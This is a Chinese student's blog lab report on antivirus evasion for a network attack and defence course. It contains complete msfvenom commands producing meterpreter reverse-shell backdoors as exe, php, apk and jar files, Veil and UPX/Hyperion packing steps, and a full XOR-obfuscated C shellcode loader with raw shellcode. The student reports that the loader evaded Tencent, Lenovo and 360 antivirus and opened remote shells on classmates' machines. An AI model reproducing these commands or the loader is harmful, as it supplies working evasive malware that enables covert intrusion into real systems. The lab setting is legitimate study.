exp3

2020-2021-2 20181217 《网络对抗技术》Exp3 免杀原理与实践

概念:



 

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器
  • 使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门,更多的参数可以参考msfvenom一些基本用法

 

 

 对实验二生成的20181217_backdoor.exe后门程序用VirusTotal进行扫描,结果如下图所示:

 

 

 

  • 一次编码:

 

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.160.128 LPORT=1217 -f exe > csq-encoded.exe

(LHOST=Attacker's IP(kali的ip) ,使用-p来指定要使用的payload,使用-b选项设定了规避字符集,会自动调用编码器,使用-f 来指定payload的输出格式)

 

 

 

 在kali浏览器中打开使用VirusTotal对csq-encoded.exe进行扫描,扫描结果如下:

 

 

 十次编码:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.160.128 LPORT=1217 -f exe > csq-encoded10.exe

 

 

 进行10次编码降低被查杀概率

对生成的csq-encoded10.exe后门程序,使用VirusTotal进行扫描,扫描结果如下图所示:略有起伏,没实质变化。

 

msfvenom生成php文件
 msf生成php文件   msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.160.128 lport=1217 x> csq_backdoor.php

对生成的zxy_backdoor.php后门文件,使用VirusTotal进行扫描,扫描结果如下图所示

 

msfvenom生成apk文件
msf生成apk文件  msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.160.128 lport=1217 x> csq_backdoor.apk

 

 

 对生成的csq_backdoor.apk后门文件,使用VirusTotal进行扫描,扫描结果如下图所示

msfvenom生成jar文件
msf生成jar文件msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.43.48 LPORT=1217 x> csq_backdoor_java.jar

 

 

 对生成的csq_backdoor_java.jar后门文件,使用VirusTotal进行扫描,扫描结果如下图所示

 

 

 

veil
安装过程:

安装以下软件
sudo apt-get -y install git
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
sudo apt-get update

 

  • 安装veil
sudo apt-get install veil-evasion

选择输入s,安装时默认选择提示选项

但是出现了这个问题

You are using pip version 7.1.2, however version 21.0.1 is available.
You should consider upgrading via the 'python -m pip install --upgrade pip' command.

 老师给的解决办法如下:

 

 

 

 

 

 python的默认版本太低,我们需要给python默认高版本

 

 

 

 

 

 

最后再执行一次:

 

 之后成功~

 

  • 2、使用veil生成后门文件

  • 安装成功,sudo veil 指令进入界面

可以输入指令use 1使用veil-evasion

 

 输入指令list

 

 

 

 输入命令use 22进入配置界面

 

 

  • 设置端口号和IP地址

set LHOST 192.168.160.128//设置反弹连接IP
set LPORT 1217//设置端口
options查看

输入generate生成文件,接着输入你想要payload的名字:veil_ps_1217,文件保存路径为:/var/lib/veil/output/source/veil_ps_1217.bat

 

 

 可知生成了后门文件veil_ps_1217.bat,进入生成文件的目录:

 

 

现在我们使用VirusTotal进行扫描,扫描结果如下图所示,

 

 第二种方法:生成.exe后门文件

使用sudo运行veil,输入use evasion

之后输入命令use c/meterpreter/rev_tcp.py进入配置界面

 

使用 set LHOST 192.168.160.128设置反弹连接IP地址

使用set LPORT 1217设置端口

使用generate命令生成文件,接着输入生成的playload的名称veil20181217,保存路径为/var/lib/veil/output/source/veil20181217.exe

 

进入生成文件的路径:

 

 

 按老规矩丢到virustotal中看看veil生成的隐蔽性如何 (●'◡'●),结果显示我们费九牛二虎之力下的veil效果也不是太好,依然有过半的杀软可以把它揪出来 。

 生成一个.py的后门文件呢?

use python/meterpreter/rev_tcp.py

 

 

使用 set LHOST 192.168.160.128设置反弹连接IP地址

使用set LPORT 1217设置端口

 

 

 使用generate命令生成文件,接着输入生成的playload的名称veil_20181217,保存路径为/var/lib/veil/output/source/veil_20181217.py

 

 

 

 看看检出率~

我们可以看出不同类型的文件的检测率也不相同~

使用C + shellcode编程

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.160.128 LPORT=1217 -f c生成shellcode

 

 新建20181217.c(vi 20181217.c)

 

 

  • 使用mingw-w32将c语言文件生成exe文件i686-w64-mingw32-g++ 20181217.c -o 20181217.exe

 

对创建的20181217.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示

 然后把文件放到win10运行下试试,反正肯定不行

 反弹链接试试呀~

在本地运行一下

 

 发现出现了这个错误,经询问老师得知应该时本地缺少dll文件。

重点来了,我去kali中找这个dll文件,并把它拖到我本地的目录。

 

 如图,我使用的是第一个目录的dll文件。

后来运行exe时又显示缺少另一个名叫libwinpthread-1.dll的dll文件。

于是我又去kali中寻找这个dll文件,并把它拖到我的本地目录。

 

 

 

 如图,这个时候再运行我的exe后门文件都不存在问题啦~

打开杀毒软件:

 

 发现这个后门软件被发现了。

接下来反向链接试试(详细内容可以再看看实验二)

 

 可以发现反弹链接成功了。

加壳工具
  • 给之前的生成的文件进行加壳操作,压缩壳upx进行加壳,指令为upx 20181217.exe -o 20181217_upx.exe

 

 

 对创建的20181217_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示

 加壳以后能够检测出的杀软少了,但是还是有很多的杀软还是可以检测出的。

在本机试试

 

试一下反弹连接~

 

 可以发现又成功了~

 加密壳

将生成upx文件拷贝到/usr/share/windows-resources/hyperion/目录中
进入目录/usr/share/windows-resources/hyperion/中
输入sudo wine hyperion.exe -v 20181217_upx.exe 20181217_hyperion_upx.exe进行加壳(我之前没加sudo然后失败了~)

 

 

 

 

 这时我们把它放到使用VirusTotal进行扫描。

 

 我们发现检出率还是很高的。

反弹连接试试吧~

暂时没成功,不知道为啥那个20181217_hyperion_upx.exe为啥运行没反应~

我们看看有杀毒软件的效果:

 

 还是可以被检测出来呢。

 

针对前面的先进行压缩壳再加密,没有成功实现回连,现在我们试试直接对20181217.exe进行加密壳,得到20181217_hyperion.exe,这个压缩壳产物。

 

 

对它进行测试回连。

我们可以发现回连成功。

 

 

 

把它用使用VirusTotal进行扫描,看看什么结果。

 

 

 

可以发现被检出率还是非常之大的。

 

 

免杀实践:

我下载了杀毒软件(腾讯管家)。

 

 

 免杀实践1:

  • 使用工具shellcode_launcher
  • 先用Msfvenom生成raw格式的shellcode
  • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.160.128 lport=1217 -f raw -o csq20181217.raw

msfconsole开始监听

shellcode_launcher-master文件打开cmd,运行指令shellcode_launcher.exe -i csq1217.raw

对创建的csq20181217.raw后门文件,使用VirusTotal进行扫描,扫描结果如下图所示

 

 

在开启软件的情况下,对csq20181217.raw实现反弹回连。

看下图可知成功,杀毒软件没有检测出我的后门文件csq20181217.raw。

 

 

可知实现免杀成功。

免杀实践二:

shellcode+压缩壳

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.48 LPORT=1217 -f c 生成shellcode

 和之前一样的操作:

 

 免杀成功~

 免杀实践三:

c+shellcode+异或+压缩壳可以实现电脑管家和联想电脑管家免杀。

我们需要先使用语句生成一段shellcode,指令已在上方使用C + shellcode编程中叙述。msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.48 LPORT=1217 -f c
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2b\x30\x68\x02"
"\x00\x04\xc1\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
                                           

然后我们需要生成一个hello.c文件。
再后连同shellcode前面的unsigned char buf[]=一起复制到Windows系统下的codeblock中,然后我们输入代码:
unsigned char buf[] =
    "上面的shellcode";
 
int main()
{
 
    int i;
 
    for (i = 0; i < sizeof(buf); i++)
    {
        buf[i] ^= 0x01;
        printf("\\x%x",buf[i]);
    }
}
将生成的结果复制下来。

 

 

 生成的结果为

\xfd\xe9\x8e\x1\x1\x1\x61\x88\xe4\x30\xd3\x65\x8a\x53\x31\x8a\x53\xd\x8a\x53\x15\x8a\x73\x29\x30\xfe\xe\xb6\x4b\x27\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\xc0\xce\xc\x0\xc6\x48\x74\xee\x53\x8a\x53\x11\x56\x8a\x43\x3d\x0\xd1\x8a\x41\x79\x84\xc1\x75\x4d\x0\xd1\x51\x8a\x49\x19\x8a\x59\x21\x0\xd2\x84\xc8\x75\x3d\x48\x8a\x35\x8a\x30\xfe\x0\xd7\x30\xc1\xad\xc0\xce\xc\x0\xc6\x39\xe1\x74\xf5\x2\x7c\xf9\x3a\x7c\x25\x74\xe1\x59\x8a\x59\x25\x0\xd2\x67\x8a\xd\x4a\x8a\x59\x1d\x0\xd2\x8a\x5\x8a\x0\xd1\x88\x45\x25\x25\x5a\x5a\x60\x58\x5b\x50\xfe\xe1\x59\x5e\x5b\x8a\x13\xe8\x81\xfe\xfe\xfe\x5c\x69\x32\x33\x1\x1\x69\x76\x72\x33\x5e\x55\x69\x4d\x76\x27\x6\x88\xe9\xfe\xd1\xb9\x91\x0\x1\x1\x28\xc5\x55\x51\x69\x28\x81\x6a\x1\xfe\xd4\x6b\xb\x69\xc1\xa9\x2a\x31\x69\x3\x1\x5\xc0\x88\xe7\x51\x51\x51\x51\x41\x51\x41\x51\x69\xeb\xe\xde\xe1\xfe\xd4\x96\x6b\x11\x57\x56\x69\x98\xa4\x75\x60\xfe\xd4\x84\xc1\x75\xb\xfe\x4f\x9\x74\xed\xe9\x66\x1\x1\x1\x6b\x1\x6b\x5\x57\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7f\x37\x8a\x37\x6b\x41\x69\x1\x11\x1\x1\x57\x6b\x1\x69\x59\xa5\x52\xe4\xfe\xd4\x92\x52\x6b\x1\x57\x52\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7c\x29\x59\x69\x1\x41\x1\x1\x6b\x1\x51\x69\xa\x2e\xe\x31\xfe\xd4\x56\x69\x74\x6f\x4c\x60\xfe\xd4\x5f\x5f\xfe\xd\x25\xe\x84\x71\xfe\xfe\xfe\xe8\x9a\xfe\xfe\xfe\x0\xc2\x28\xc7\x74\xc0\xc2\xba\xf1\xb4\xa3\x57\x6b\x1\x52\xfe\xd4\x1

  这时编写新的hello.c文件:

unsigned char buf[] =
    "刚才复制的代码";

int main()
{

    int i;

    for (i = 0; i < sizeof(buf); i++)
    {
        buf[i] ^= 0x01;
    }

    int (*func)() = (int(*)())buf;
    func();

}
  • 使用mingw-w32将c语言文件生成exe文件i686-w64-mingw32-g++ hello.c -o .exe

 

 对创建的.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示

 

 可知检出率很低。

将exe拷贝到自己的主机上看看。在开启腾讯电脑管家的时候,可以反弹回连,实现免杀。但是这个被我的联想电脑管家发现了。。

 

 再加个压缩壳试试~

 

 在腾讯电脑管家下,还是可以反弹回连实现免杀。

 

 那么在腾讯电脑管家和联想电脑管家下呢?

 

 我们可以惊喜的发现他可以实现免杀!

不错不错~

 

 

 

 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

对第一次免杀的后门文件测试:

队员用的电脑杀软是腾讯管家,版本号如下图:

 

 遇到点问题~

 一开始我的主机能ping通队员的主机,虚拟机能ping通队员的主机,队员的主机可以ping通我的主机,但不能ping通我的虚拟机。

上网查询发现是因为我的虚拟机处在nat模式,需要把它改成桥接模式。

在改成桥接模式之后,队员主机成功ping通我的虚拟机,这就意味着以后的反弹回连是可以成功的。

果不其然:

 

因为我的虚拟机ip地址改变了,所以我需要重新生成新的后门文件~

 

 之后队员的本机在杀软开启的情况下运行csq_1217new.raw进行回连,结果如下图所示:

 

 (同组组员的 电脑)

 可以发现在杀毒软件开启的情况下可以实现反弹回连。成功实现免杀。

 二:对c+shellcode+异或+压缩壳试试在别的电脑上开启杀软的情况下试试能不能反弹回连、实现免杀:

 在同学的电脑上用360安全卫士,可是实现反弹回连,实现免杀!360版本号为:

 

 同学的电脑在开启杀软的情况下能够成功运行压缩壳~

 成功反弹回连到我的电脑上,成功实现免杀!

 

 

 

实验总结

  • 1.实验中遇到的问题
  • 2.基础问题回答
  • 3.实践总结与体会
  • 4.开启杀软能绝对防止电脑中恶意代码吗?

1.实验中遇到了很多很多问题,比如我在安装veil的时候,出现了“You are using pip version 7.1.2, however version 21.0.1 is available.
You should consider upgrading via the 'python -m pip install --upgrade pip' command.”的问题,在老师的帮助下,我通过执行几条指令成功解决这个问题了。还有比如,在反弹连接过程中,显示缺失两个dll文件,在老师的指引下,我去kali中把两个缺失的dll文件找出来,并拖到本地文件夹中,由此可成功实现反弹连接。再到后来的同网段下队员的主机ping不通我的虚拟机,解决办法是改成桥接模式。。。还有个问题是,我压缩壳之后,再加密壳,结果显示不能成功反弹回连到我的linux。这个问题我到现在还没有成功解决。

2.基础问问他回答

        (1)杀软是如何检测出恶意代码的?

1:基于特征码

一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。

2: 启发式恶意软件检测

根据些片面特征去推断。其可以检测0-day恶意软件,具有一定通用性;但是其实时监控系统行为,开销稍多,没有基于特征码的精确度高。
3:基于行为的恶意软件检测

从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

           (2)免杀是做什么?

免杀概念:一般是对恶意软件做处理,让它不被杀毒软件所检测。

          (3)免杀的基本方法有哪些?

1、加壳脱壳与加密解密

利用特殊的算法,对可执行文件与动态库里的资源进行压缩与对文件的描述、版本号、创建日期、修改软件、系统执行需求等外层数据进行伪装。

2、加花指令与程序入口点修改

加花指令就是在程序开头加入一段计算用的汇编指令和一些入口点内存地址的乱跳转,或加上其他常用程序特有的入口指令来迷惑杀毒软件。因为计算与跳转的最后结果是没有实质的意义的,所以这么做并不影响程序的正常运行。但能使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果。
程序入口点修改就是改变入口点,通常用到的方法是在入口点的地址加1或把入口点地址拆开,也有加花指令之后把原入口点修改到花指令的入口点上令电脑先处理那段没意义的指令,再在花指令后再加跳转代码,跳转到程序执行数据的入口点上,令程序正常运行。

3、内存、文件特征码的定位与修改

首先用特征码定位软件定位文件特征码的所在之处,再用UltraEdit对被定位的特征码段进行修改。
一般修改方法有:
十六进制的特征码直接修改法,就是把十六进制的特征码加1;
字符串大小写修改法,就是特征码所对应的内容是字符串的时候,把大小字互换;
等价替换法,就是当特征码所对应的是汇编指令时,把指令替换成功能类拟的指令;
指令顺序调换法,把特征码对应的汇编指令的顺序互换;
通用跳转法,用跳转的方法把特征码对应的汇编指令跳转走,犹如加花一样。

4、集成在盗版软件中,诱使使用者使用时关闭杀软防火墙。

3.实践总结与体会

通过这次免杀实验,我看到了杀毒软件也有局限性,有些程序有风险,杀毒软件可能只是提示有风险,让你自己来决定要不要用这个程序,这个时候最好还是慎重一些,十有八九是木马,但有的时候也不是。
做实验的时候用了很多的方法,像加壳、veil等方法,都没实现免杀,但有些放在电脑里只要不运行,杀软也没杀出来,但只要运行,要么提示有风险,要么直接就给杀掉了,人家那些杀毒软件设计者肯定也都学过这些,所以,实现免杀还是要费一番大功夫的。

我在做免杀的过程中,做了好多个、好多种后门文件,但是大多数都被杀软杀掉了。去年学长学姐做的后门文件,可以成功在多种杀软下实现免杀,但是今年去不可以了。说明杀软公司在进步,杀软越来越厉害。

4.开启杀软能绝对防止电脑中恶意代码吗?

开启杀软不能绝对防止电脑中恶意代码,但相对可以降低电脑中恶意代码的概率,目前杀毒软件已经很完善了,毕竟都是大公司设计的软件,经过了无数次的升级,对电脑的保护已经特别到位。

  

 免杀技术:

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
posted @ 2021-03-12 21:54  20181217Cindy  阅读(326)  评论(0编辑  收藏  举报